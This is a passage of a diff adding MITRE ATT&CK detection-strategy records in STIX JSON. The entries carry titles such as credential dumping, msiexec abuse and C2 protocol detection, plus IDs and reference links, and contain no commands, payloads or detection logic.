"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0439", + "external_id": "DET0439" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Malware Relocation via Suspicious File Movement", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--143f3057-237e-427f-911a-2aa7d64721f0", + "x-mitre-analytic--39aa9168-6f3b-4179-84f9-a6b8dcf90900", + "x-mitre-analytic--72540cd1-3ba6-4a4a-8866-a3113094196a", + "x-mitre-analytic--6b8a97fe-4e51-4409-9eab-f2795eb2ec74" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--45665335-5bf0-4553-9398-ea40d550cbff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0117", + "external_id": "DET0117" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--51a23f35-4a11-4119-935a-1ffebcda2839", + "x-mitre-analytic--5a9c1860-23ae-455e-bcab-0e0f91af5548", + "x-mitre-analytic--7e3c05c9-5e49-416c-a0c9-eb7631ea5e7e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0602b47a-d37c-4eee-ac4b-b464060945ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0158", + "external_id": "DET0158" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Msiexec Abuse for Local, Network, and DLL Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f27c0482-fbea-47a3-9b19-7302a058a9e5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d080a1b1-5ad1-45a1-8f7b-b736986c20d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0215", + "external_id": "DET0215" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Multi-Platform File Encryption for Impact", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1155df11-eee4-4fdf-a354-15eda0e90d4c", + "x-mitre-analytic--b2f444b1-e434-40e1-9501-6b66a05a0201", + "x-mitre-analytic--3b18d20b-94c7-41e7-8f82-99148945a74f", + "x-mitre-analytic--203586e5-e178-4d41-bbae-93a86f04977b", + "x-mitre-analytic--57d8fd27-9af5-4d01-9d1a-fdde8ec0c902" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d22f1848-fc32-4fdb-999b-9c0845fb6552", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0132", + "external_id": "DET0132" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Mutex-Based Execution Guardrails Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1282f497-ce04-4151-9bd0-4eedbf4530b6", + "x-mitre-analytic--7c0e4ffa-7f95-41de-9e3b-de2ad4a7a9ae", + "x-mitre-analytic--4ab12b3f-5c6a-42a6-8d9c-c10b7e814986" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a97fe87f-e9be-4f71-8530-af5d70eaddf3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0586", + "external_id": "DET0586" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of NTDS.dit Credential Dumping from Domain Controllers", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1c715030-9564-482d-98b7-22072bf28c97" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--31fef61c-301b-4a3d-aced-06632e321926", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0859", + "external_id": "DET0859" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4384e648-0f49-442d-b989-6a47f2194130" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fb15f9a5-8561-4c67-b50b-f72039ff9a44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0889", + "external_id": "DET0889" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Security Appliances", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e1f67192-803a-4cd3-a455-64bb623263d6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1238c5f2-07ef-4a31-bc3a-e0cc0eb12516", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0819", + "external_id": "DET0819" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Topology", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7101cd68-f6a2-4b7e-b19d-5d27b4c3b44c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d50064d2-b166-4da7-9f9b-b56b7cf16e0a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0828", + "external_id": "DET0828" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Trust Dependencies", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--10222534-1e1d-473c-a2cb-674126f87ad8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2cb544af-ef54-4376-9608-b399ad67d3d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0457", + "external_id": "DET0457" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Non-Application Layer Protocols for C2", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4412fb07-9a44-49de-80af-8746b0be3865", + "x-mitre-analytic--7d0a3871-8cee-47bd-8829-637e132c98f7", + "x-mitre-analytic--4742e058-a301-47e1-b594-8daa8eabfc79", + "x-mitre-analytic--cae917e6-7542-41d0-8b03-ad2b7ab1eb01", + "x-mitre-analytic--688ed638-d3ba-47dc-baa7-16b16a9fe9c8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4e940cf7-b024-40d4-8b1f-f516588b08fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0850", + "external_id": "DET0850" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Obtain Capabilities", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5697a257-0888-4fd5-84fd-756f6fa67690" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--80eb76bc-6599-4adf-8d8c-8126e7e63d12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0040", + "external_id": "DET0040" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Persistence Artifact Removal Across Host Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5882d2ff-289e-454d-9146-81306c154be3", + "x-mitre-analytic--83a2f3c2-24c5-466d-8453-aa52802c2991", + "x-mitre-analytic--81d64cae-ddd2-4512-9c8a-9a574b968c52", + "x-mitre-analytic--c6ae166f-f2ac-405a-85c2-b7f9349a1b99" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--29fad4dd-d6d7-4a99-8ae8-060e6d0544ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0823", + "external_id": "DET0823" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Phishing for Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--663bba48-7043-4407-875f-59691655d13c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ce0b969a-1411-4b6f-a6aa-c31ef6fe6727", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0081", + "external_id": "DET0081" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Proxy Execution via Trusted Signed Binaries Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--865c00d7-fc01-4ce6-8fc8-d7a84f2ded36", + "x-mitre-analytic--273d7b27-6b7d-4017-a7f6-0cd02fd3a128", + "x-mitre-analytic--3e461dab-922c-48cc-aafc-51f20025bf27" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5c44619a-da36-4bbd-9730-efceacf2409f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0445", + "external_id": "DET0445" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Proxy Infrastructure Setup and Traffic Bridging", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0e9add05-93bd-47b2-acf5-1817f03e804a", + "x-mitre-analytic--b95a3fbf-3d6c-4ead-8421-ff9c07ca4019", + "x-mitre-analytic--aace8c0e-4534-432b-9a84-6e01c19570b7", + "x-mitre-analytic--d8cc8663-020b-4fde-a8de-a92ecf97aea4", + "x-mitre-analytic--a79ae1d1-1a8d-427d-aa6d-261ea63d5650" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4d41c48b-ef2a-49a1-baaa-039625612c20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0880", + "external_id": "DET0880" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Purchase Technical Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--40c8a3ac-4fe9-49c3-a9bd-f8f684d42003" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--106e32a9-29b7-4ec7-80cf-768662706490", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0209", + "external_id": "DET0209" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Registry Query for Environmental Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8986f2ab-2e6d-4c68-99ac-6a1c5f29fb7b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--20f11806-1639-49c5-ae0b-84633a142870", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0071", + "external_id": "DET0071" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote Data Staging Prior to Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7efd6a7b-d7c0-4922-a1df-c492c0a2d3f8", + "x-mitre-analytic--14ac0f26-e5db-42da-b730-9e115027f8e9", + "x-mitre-analytic--2891bd53-5a81-4330-bb05-ffd731868d06", + "x-mitre-analytic--0e2094fe-6912-4bde-9e5a-9d95c640646a", + "x-mitre-analytic--696b98e8-10fd-4c7a-bb80-302baca34e60" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5d244477-26e2-4b3a-b882-fd74e366e07d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0079", + "external_id": "DET0079" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote Service Session Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3c320df0-2a99-4bc4-b0f4-7af1675ccdb9", + "x-mitre-analytic--fba8a3f5-74d0-47d2-a688-1bdcc99dae6b", + "x-mitre-analytic--81889314-3404-4cfb-a650-52a5898b6f31" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3d06c5c3-ace1-4eff-98cd-2ddc95474f66", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0881", + "external_id": "DET0881" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of SEO Poisoning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--86a212ef-8e7b-4c51-9e7f-492da2283294" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fa1f7635-b4a2-4a2b-87ae-50cb4dbee328", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0858", + "external_id": "DET0858" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Scan Databases", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--db6010df-737d-4fa1-89af-dce6c4c3c305" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ca916010-7f72-4132-ad7c-44967d479dcc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0817", + "external_id": "DET0817" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Scanning IP Blocks", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4ba33f5f-5f75-40c5-96ab-b014e772f9a8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8ac2b0d0-a589-4c72-9287-a7d9e47065a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0466", + "external_id": "DET0466" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Script-Based Proxy Execution via Signed Microsoft Utilities", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--84e969fd-a0ee-425f-a7dd-ae10e170d45a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3f4c871c-9ddb-41da-accd-ff5bcbfe37d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0822", + "external_id": "DET0822" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Search Closed Sources", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9d36e6e7-9c6c-495c-9431-464fb525c4e8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cf1329da-a87c-42bb-8950-58fcf36b9b9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0811", + "external_id": "DET0811" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Search Engines", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--746ebd79-2d1f-4e58-8bdb-b49a236a9642" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dc9fa05f-7e98-41ef-9d40-21fd1425f5d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0860", + "external_id": "DET0860" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Search Open Technical Databases", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3ee2fdaa-358a-4f65-9d15-c9096628bc7e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 